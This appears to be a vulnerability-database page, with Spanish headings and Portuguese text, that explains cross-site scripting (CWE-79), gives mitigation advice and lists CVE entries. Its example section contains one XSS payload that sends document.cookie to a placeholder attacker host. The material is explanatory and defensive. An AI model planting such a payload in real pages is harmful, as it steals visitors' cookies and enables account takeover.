Fallos del tipo CWE-79

28.747 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-0698MEDIUMMicroweber version 1.3.1 allows an unauthenticated user to perform an account takeover via an XSS on the 'select-file' parameter.EPSS 0.7%CVE-2026-86712HIGHSiYuan before 3.8.2 Remote Code Execution via ClipboardEPSS 0.7%CVE-2021-36845MEDIUMYITH Maintenance Mode (WordPress plugin) <= 1.3.8 - Multiple Authenticated Stored Cross-Site Scripting (XSS) vulnerabilitiesEPSS 0.7%CVE-2023-3837LOWDedeBIZ sys_sql_query.php cross site scriptingEPSS 0.7%CVE-2022-1255—Import and export users and customers < 1.19.2.1 - Admin+ Stored Cross-Site ScriptingEPSS 0.7%CVE-2023-42458LOWZope vulnerable to Stored Cross Site Scripting with SVG imagesEPSS 0.7%CVE-2022-38162MEDIUMReflected cross-site scripting (XSS) vulnerabilities in WithSecure through 2022-08-10) exists within the F-Secure Policy Manager due to an uEPSS 0.7%CVE-2024-1970MEDIUMSourceCodester Online Learning System V2 index.php cross site scriptingEPSS 0.7%CVE-2021-25984MEDIUMFactorJS - Stored Cross-Site Scripting (XSS) in Post Reply FunctionalityEPSS 0.7%CVE-2023-34464CRITICALXWiki vulnerable to stored cross-site scripting via any wiki document and the displaycontent/rendercontent templateEPSS 0.7%CVE-2023-0513LOWisoftforce Dreamer CMS cross site scriptingEPSS 0.7%CVE-2021-25983MEDIUMFactorJS - Reflected Cross-Site Scripting (XSS) in Tags and Categories FunctionalityEPSS 0.7%CVE-2023-0740HIGHCross-site Scripting (XSS) - Stored in answerdev/answerEPSS 0.7%CVE-2022-43760HIGHAn Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in SUSE Rancher allows users in some hEPSS 0.7%CVE-2024-27524HIGHCross Site Scripting vulnerability in Chamilo LMS v.1.11.26 allows a remote attacker to escalate privileges via a crafted script to the fileEPSS 0.7%CVE-2024-29203MEDIUMTinyMCE Cross-Site Scripting (XSS) vulnerability in handling iframesEPSS 0.7%CVE-2024-29881MEDIUMTinyMCE Cross-Site Scripting (XSS) vulnerability in handling external SVG files through Object or Embed elementsEPSS 0.7%CVE-2024-28740MEDIUMCross Site Scripting vulnerability in Koha ILS 23.05 and before allows a remote attacker to execute arbitrary code via the additonal-contentEPSS 0.7%CVE-2024-34452MEDIUMCMSimple_XH 1.7.6 allows XSS by uploading a crafted SVG document.EPSS 0.7%CVE-2024-32970HIGHCross-site Scripting (XSS) possible with maliciously formed HTML attribute names and values in PhlexEPSS 0.7%